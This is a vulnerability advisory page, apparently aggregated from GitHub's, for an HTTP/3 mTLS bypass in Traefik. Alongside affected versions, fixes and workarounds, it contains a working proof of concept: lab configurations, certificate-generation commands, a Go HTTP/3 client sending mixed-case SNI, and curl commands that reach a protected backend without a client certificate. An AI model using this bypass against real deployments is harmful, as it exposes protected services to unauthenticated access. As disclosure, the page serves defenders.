CVE-2026-53622: Traefik HTTP/3 MTLS Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-9cr8-q42q-g8m7
CVSS 10.0
CWE-289 CWE-288
Published
Advisory Summary

CVE-2026-53622 is a HIGH (CVSS 10.0) http/3 mtls bypass vulnerability (CWE-289: Authentication Bypass by Alternate Name) affecting Traefik libraries in the Go ecosystem. The issue involves http/3 mtls bypass via exact sni tlsoptions lookup for wildcard and mixed-case hosts. Remediation is available by upgrading affected packages to version 3.7.3, 2.11.51, 3.6.18.

CVE-2026-53622 at a Glance

CVE Identifier CVE-2026-53622
GHSA Identifier GHSA-9cr8-q42q-g8m7
Severity HIGH
CVSS v3.1 Base Score 10.0
CWE Classification CWE-289: Authentication Bypass by Alternate Name
Affected Product Traefik
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-53622

To remediate this vulnerability, upgrade all affected Traefik dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/traefik/traefik/v3 fixed: 3.7.3
Upgrade github.com/traefik/traefik/v3 to 3.7.3
github.com/traefik/traefik/v2 fixed: 2.11.51
Upgrade github.com/traefik/traefik/v2 to 2.11.51
github.com/traefik/traefik fixed: Latest secure release
Upgrade github.com/traefik/traefik to Latest secure release
github.com/traefik/traefik/v3 fixed: 3.6.18
Upgrade github.com/traefik/traefik/v3 to 3.6.18
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/traefik/traefik/v3

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-53622, inspect your project dependencies for Traefik:

inspect dependencies for github.com/traefik/traefik/v3

Analyze the terminal output to locate any version of Traefik in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.7.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-289: Authentication Bypass by Alternate Name, where the product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor. In Traefik, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary There is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., `*.example.com`) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard `Host` rule or case-insensitive hostname matching, a router-specific `TLSOptions` enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.18 - https://github.com/traefik/traefik/releases/tag/v3.7.3 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary Traefik's HTTP/3 TLS configuration selection can ignore router-specific `TLSOptions` and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with `Router.GetTLSGetClientInfo()`, which performs a direct, case-sensitive map lookup on `hostHTTPTLSConfig[info.ServerName]`. This is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive `Host` rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed: 1. `Host("*.example.com")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one. 2. `Host("api.example.com")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as `API.EXAMPLE.COM` reaches the protected backend without one. Confirmed versions: - wildcard HTTP/3 bypass: `v3.7.0`, `v3.7.1` - exact-host mixed-case HTTP/3 bypass: `v3.6.17`, `v3.7.0`, `v3.7.1` ### Details HTTP/3 installs a QUIC TLS callback in `pkg/server/server_entrypoint_tcp_http3.go`: ```go h3.Server = &http3.Server{ Addr: config.GetAddress(), Port: config.HTTP3.AdvertisedPort, Handler: httpsServer.Server.(*http.Server).Handler, TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient}, } ``` The callback is wired to the TCP router's TLS selector: ```go func (e *http3server) Switch(rt *tcprouter.Router) { e.lock.Lock() defer e.lock.Unlock() e.getter = rt.GetTLSGetClientInfo() } ``` The selector in `pkg/server/router/tcp/router.go` only performs an exact map lookup: ```go func (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) { return func(info *tls.ClientHelloInfo) (*tls.Config, error) { if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok { return tlsConfig, nil } return r.httpsTLSConfig, nil } } ``` That creates two mismatches: - wildcard keys such as `*.example.com` are never matched for `api.example.com` - lower-case router keys such as `api.example.com` are not matched for mixed-case SNI such as `API.EXAMPLE.COM` On the later HTTP request path, the same host can still match wildcard or case-insensitive `Host` rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend. Preconditions: - HTTP/3 is enabled on the affected entrypoint. - A router-specific `TLSOptions` configuration enforces client certificate authentication. - The default/fallback TLS configuration does not require client certificates. - UDP access to the HTTP/3 entrypoint is reachable by the attacker. Minimal wildcard dynamic configuration: ```yaml http: routers: protected: rule: Host(`*.example.com`) service: protected tls: options: mtls services: protected: loadBalancer: servers: - url: http://protected:80 tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert ``` Minimal exact-host dynamic configuration: ```yaml http: routers: protected: rule: Host(`api.example.com`) service: protected tls: options: mtls services: protected: loadBalancer: servers: - url: http://protected:80 tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert ``` Minimal Docker Compose: ```yaml services: traefik: image: traefik:v3.7.1 command: - --log.level=DEBUG - --entrypoints.websecure.address=:8443 - --entrypoints.websecure.http3 - --providers.file.filename=/etc/traefik/dynamic.yml - --providers.file.watch=false ports: - "8443:8443/tcp" - "8443:8443/udp" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro - ./certs:/certs:ro depends_on: - protected protected: image: traefik/whoami:v1.11 command: - --name=PROTECTED ``` Certificate generation: ```bash rm -rf certs mkdir -p certs openssl req -x509 -newkey rsa:2048 -nodes -days 7 -keyout certs/ca.key -out certs/ca.crt -subj "/CN=traefik-poc-ca" openssl req -newkey rsa:2048 -nodes -keyout certs/server.key -out certs/server.csr -subj "/CN=api.example.com" -addext "subjectAltName=DNS:api.example.com,DNS:*.example.com" openssl x509 -req -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial -out certs/server.crt -days 7 -sha256 -copy_extensions copyall ``` The mixed-case HTTP/3 client used for the exact-host case: ```go package main import ( "crypto/tls" "fmt" "io" "net/http" "os" "time" "github.com/quic-go/quic-go/http3" ) func main() { serverName := os.Getenv("TLS_SERVER_NAME") if serverName == "" { serverName = "API.EXAMPLE.COM" } host := os.Getenv("HTTP_HOST") if host == "" { host = "API.EXAMPLE.COM" } tr := &http3.Transport{ TLSClientConfig: &tls.Config{ ServerName: serverName, InsecureSkipVerify: true, }, } defer tr.Close() client := &http.Client{Transport: tr, Timeout: 8 * time.Second} req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil) if err != nil { panic(err) } req.Host = host resp, err := client.Do(req) if err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(1) } defer resp.Body.Close() fmt.Println(resp.Proto, resp.StatusCode) body, _ := io.ReadAll(resp.Body) fmt.Print(string(body)) } ``` ### PoC Wildcard bypass: 1. Start Traefik with the wildcard dynamic configuration above. 2. Control over TCP/TLS: ```bash curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/ ``` Observed result: ```text TLS alert ... certificate required ``` 3. HTTP/3 bypass: ```bash curl --noproxy '*' --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/ ``` Observed result: ```text HTTP/3 200 Name: PROTECTED Host: api.example.com:8443 ``` Exact-host mixed-case bypass: 1. Start Traefik with the exact-host dynamic configuration above. 2. Control over TCP/TLS: ```bash curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/ ``` Observed result: ```text TLS alert ... certificate required ``` 3. Mixed-case HTTP/2 control: ```bash curl --noproxy '*' --http2 -skv --resolve API.EXAMPLE.COM:8443:127.0.0.1 https://API.EXAMPLE.COM:8443/ ``` Observed result: ```text TLS alert ... certificate required ``` This control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with `certificate required`. 4. HTTP/3 bypass with the same mixed-case hostname: ```bash TLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM go run ./h3-case-client.go ``` Observed result: ```text HTTP/3.0 200 Name: PROTECTED Host: API.EXAMPLE.COM ``` Local regression tests used during validation: ```bash go test ./pkg/server/router/tcp -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$' -count=1 ``` These tests were added locally during analysis to demonstrate the current behavior of `GetTLSGetClientInfo()`. They are not required to reproduce the issue; the Docker and `curl`/HTTP3 commands above are the end-to-end reproduction. Version matrix observed with Docker images: ```text wildcard H3 bypass: affected on v3.7.0 and v3.7.1 exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1 ``` The wildcard case was tested on v3.7.x because wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in v3.7.0. ### Impact Deployments that use router `TLSOptions` as an access-control boundary for HTTP/3 can expose protected backends without client authentication. The highest-impact case is mTLS: - normal HTTP/2/TCP access to the protected host requires a client certificate - HTTP/3 access to the same route falls back to the default TLS config - the request is then routed to the protected backend without satisfying the route's mTLS policy This can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold. Possible workarounds until a fix is available: - Disable HTTP/3 on entrypoints that rely on router-specific mTLS. - Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration. - Block UDP access to the HTTP/3 entrypoint. - Enforce client authentication at an additional layer behind Traefik. </details>

CVE-2026-53622 Affected Traefik Versions

4 component(s)
Fixed Versions:
3.7.32.11.513.6.18
Product / Package Ecosystem Affected Versions Fixed Version
github.com/traefik/traefik/v3
Go
≥ 3.7.0
< 3.7.3
3.7.3
github.com/traefik/traefik/v2
Go
< 2.11.51
2.11.51
github.com/traefik/traefik
Go
≤ 1.7.34
github.com/traefik/traefik/v3
Go
< 3.6.18
3.6.18

References

Frequently Asked Questions

What is CVE-2026-53622?
CVE-2026-53622 is a security vulnerability in Traefik involving HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts under CWE-289: Authentication Bypass by Alternate Name.
Which Traefik versions are affected?
Affected versions include releases prior to 3.7.3, 2.11.51, 3.6.18 across affected packages: github.com/traefik/traefik/v3, github.com/traefik/traefik/v2, github.com/traefik/traefik.
What version fixes CVE-2026-53622?
Upgrading to 3.7.3, 2.11.51, 3.6.18 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/traefik/traefik/v3 affected?
Yes, github.com/traefik/traefik/v3 is affected in releases prior to 3.7.3, 3.6.18. Upgrade your dependency to 3.7.3, 3.6.18 or later.
Is github.com/traefik/traefik/v2 affected?
Yes, github.com/traefik/traefik/v2 is affected in releases prior to 2.11.51. Upgrade your dependency to 2.11.51 or later.
What is the CVSS score of CVE-2026-53622?
CVE-2026-53622 has a CVSS v3.1 base score of 10.0 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-53622?
CVE-2026-53622 is classified under CWE-289: Authentication Bypass by Alternate Name (The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.).
How can I check Go dependencies for CVE-2026-53622?
Run the dependency tree command: 'inspect dependencies for github.com/traefik/traefik/v3'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9cr8-q42q-g8m7",
  "modified" : "2026-09-02T21:11:48Z",
  "published" : "2026-06-16T21:04:29Z",
  "aliases" : [ "CVE-2026-53622" ],
  "summary" : "Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts",
  "details" : "## Summary\n\nThere is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., `*.example.com`) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard `Host` rule or case-insensitive hostname matching, a router-specific `TLSOptions` enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.18\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\n\nTraefik's HTTP/3 TLS configuration selection can ignore router-specific `TLSOptions` and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with `Router.GetTLSGetClientInfo()`, which performs a direct, case-sensitive map lookup on `hostHTTPTLSConfig[info.ServerName]`.\n\nThis is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive `Host` rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:\n\n1. `Host(\"*.example.com\")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one.\n2. `Host(\"api.example.com\")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as `API.EXAMPLE.COM` reaches the protected backend without one.\n\nConfirmed versions:\n\n- wildcard HTTP/3 bypass: `v3.7.0`, `v3.7.1`\n- exact-host mixed-case HTTP/3 bypass: `v3.6.17`, `v3.7.0`, `v3.7.1`\n\n### Details\n\nHTTP/3 installs a QUIC TLS callback in `pkg/server/server_entrypoint_tcp_http3.go`:\n\n```go\nh3.Server = &http3.Server{\n    Addr:      config.GetAddress(),\n    Port:      config.HTTP3.AdvertisedPort,\n    Handler:   httpsServer.Server.(*http.Server).Handler,\n    TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient},\n}\n```\n\nThe callback is wired to the TCP router's TLS selector:\n\n```go\nfunc (e *http3server) Switch(rt *tcprouter.Router) {\n    e.lock.Lock()\n    defer e.lock.Unlock()\n\n    e.getter = rt.GetTLSGetClientInfo()\n}\n```\n\nThe selector in `pkg/server/router/tcp/router.go` only performs an exact map lookup:\n\n```go\nfunc (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n    return func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n        if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {\n            return tlsConfig, nil\n        }\n\n        return r.httpsTLSConfig, nil\n    }\n}\n```\n\nThat creates two mismatches:\n\n- wildcard keys such as `*.example.com` are never matched for `api.example.com`\n- lower-case router keys such as `api.example.com` are not matched for mixed-case SNI such as `API.EXAMPLE.COM`\n\nOn the later HTTP request path, the same host can still match wildcard or case-insensitive `Host` rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.\n\nPreconditions:\n\n- HTTP/3 is enabled on the affected entrypoint.\n- A router-specific `TLSOptions` configuration enforces client certificate authentication.\n- The default/fallback TLS configuration does not require client certificates.\n- UDP access to the HTTP/3 entrypoint is reachable by the attacker.\n\nMinimal wildcard dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`*.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http://protected:80\n\ntls:\n  certificates:\n    - certFile: /certs/server.crt\n      keyFile: /certs/server.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal exact-host dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`api.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http://protected:80\n\ntls:\n  certificates:\n    - certFile: /certs/server.crt\n      keyFile: /certs/server.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal Docker Compose:\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.1\n    command:\n      - --log.level=DEBUG\n      - --entrypoints.websecure.address=:8443\n      - --entrypoints.websecure.http3\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --providers.file.watch=false\n    ports:\n      - \"8443:8443/tcp\"\n      - \"8443:8443/udp\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n      - ./certs:/certs:ro\n    depends_on:\n      - protected\n\n  protected:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PROTECTED\n```\n\nCertificate generation:\n\n```bash\nrm -rf certs\nmkdir -p certs\n\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7   -keyout certs/ca.key   -out certs/ca.crt   -subj \"/CN=traefik-poc-ca\"\n\nopenssl req -newkey rsa:2048 -nodes   -keyout certs/server.key   -out certs/server.csr   -subj \"/CN=api.example.com\"   -addext \"subjectAltName=DNS:api.example.com,DNS:*.example.com\"\n\nopenssl x509 -req   -in certs/server.csr   -CA certs/ca.crt   -CAkey certs/ca.key   -CAcreateserial   -out certs/server.crt   -days 7   -sha256   -copy_extensions copyall\n```\n\nThe mixed-case HTTP/3 client used for the exact-host case:\n\n```go\npackage main\n\nimport (\n    \"crypto/tls\"\n    \"fmt\"\n    \"io\"\n    \"net/http\"\n    \"os\"\n    \"time\"\n\n    \"github.com/quic-go/quic-go/http3\"\n)\n\nfunc main() {\n    serverName := os.Getenv(\"TLS_SERVER_NAME\")\n    if serverName == \"\" {\n        serverName = \"API.EXAMPLE.COM\"\n    }\n\n    host := os.Getenv(\"HTTP_HOST\")\n    if host == \"\" {\n        host = \"API.EXAMPLE.COM\"\n    }\n\n    tr := &http3.Transport{\n        TLSClientConfig: &tls.Config{\n            ServerName:         serverName,\n            InsecureSkipVerify: true,\n        },\n    }\n    defer tr.Close()\n\n    client := &http.Client{Transport: tr, Timeout: 8 * time.Second}\n\n    req, err := http.NewRequest(http.MethodGet, \"https://127.0.0.1:8443/\", nil)\n    if err != nil {\n        panic(err)\n    }\n    req.Host = host\n\n    resp, err := client.Do(req)\n    if err != nil {\n        fmt.Fprintln(os.Stderr, err)\n        os.Exit(1)\n    }\n    defer resp.Body.Close()\n\n    fmt.Println(resp.Proto, resp.StatusCode)\n    body, _ := io.ReadAll(resp.Body)\n    fmt.Print(string(body))\n}\n```\n\n### PoC\n\nWildcard bypass:\n\n1. Start Traefik with the wildcard dynamic configuration above.\n2. Control over TCP/TLS:\n\n```bash\ncurl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. HTTP/3 bypass:\n\n```bash\ncurl --noproxy '*' --http3-only -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nHTTP/3 200\nName: PROTECTED\nHost: api.example.com:8443\n```\n\nExact-host mixed-case bypass:\n\n1. Start Traefik with the exact-host dynamic configuration above.\n2. Control over TCP/TLS:\n\n```bash\ncurl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. Mixed-case HTTP/2 control:\n\n```bash\ncurl --noproxy '*' --http2 -skv   --resolve API.EXAMPLE.COM:8443:127.0.0.1   https://API.EXAMPLE.COM:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\nThis control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with `certificate required`.\n\n4. HTTP/3 bypass with the same mixed-case hostname:\n\n```bash\nTLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM   go run ./h3-case-client.go\n```\n\nObserved result:\n\n```text\nHTTP/3.0 200\nName: PROTECTED\nHost: API.EXAMPLE.COM\n```\n\nLocal regression tests used during validation:\n\n```bash\ngo test ./pkg/server/router/tcp   -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$'   -count=1\n```\n\nThese tests were added locally during analysis to demonstrate the current behavior of `GetTLSGetClientInfo()`. They are not required to reproduce the issue; the Docker and `curl`/HTTP3 commands above are the end-to-end reproduction.\n\nVersion matrix observed with Docker images:\n\n```text\nwildcard H3 bypass: affected on v3.7.0 and v3.7.1\nexact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1\n```\n\nThe wildcard case was tested on v3.7.x because wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in v3.7.0.\n\n### Impact\n\nDeployments that use router `TLSOptions` as an access-control boundary for HTTP/3 can expose protected backends without client authentication.\n\nThe highest-impact case is mTLS:\n\n- normal HTTP/2/TCP access to the protected host requires a client certificate\n- HTTP/3 access to the same route falls back to the default TLS config\n- the request is then routed to the protected backend without satisfying the route's mTLS policy\n\nThis can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.\n\nPossible workarounds until a fix is available:\n\n- Disable HTTP/3 on entrypoints that rely on router-specific mTLS.\n- Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.\n- Block UDP access to the HTTP/3 entrypoint.\n- Enforce client authentication at an additional layer behind Traefik.\n\n</details>",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.7.0"
      }, {
        "fixed" : "3.7.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.7.2"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.11.51"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.11.50"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.7.34"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.18"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.17"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/security/advisories/GHSA-9cr8-q42q-g8m7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53622"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/pull/13214"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:62260"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2026-53622"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2491924"
  }, {
    "type" : "WEB",
    "url" : "https://community.traefik.io/t/new-security-update-for-traefik-2-11-2-11-48-3-6-3-6-19-and-3-7-3-7-3/29917"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/traefik/traefik"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/compare/v3.6.17...v3.6.18"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.7.3"
  }, {
    "type" : "WEB",
    "url" : "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53622.json"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-288", "CWE-289" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T21:04:29Z",
    "nvd_published_at" : "2026-06-23T20:16:48Z"
  }
}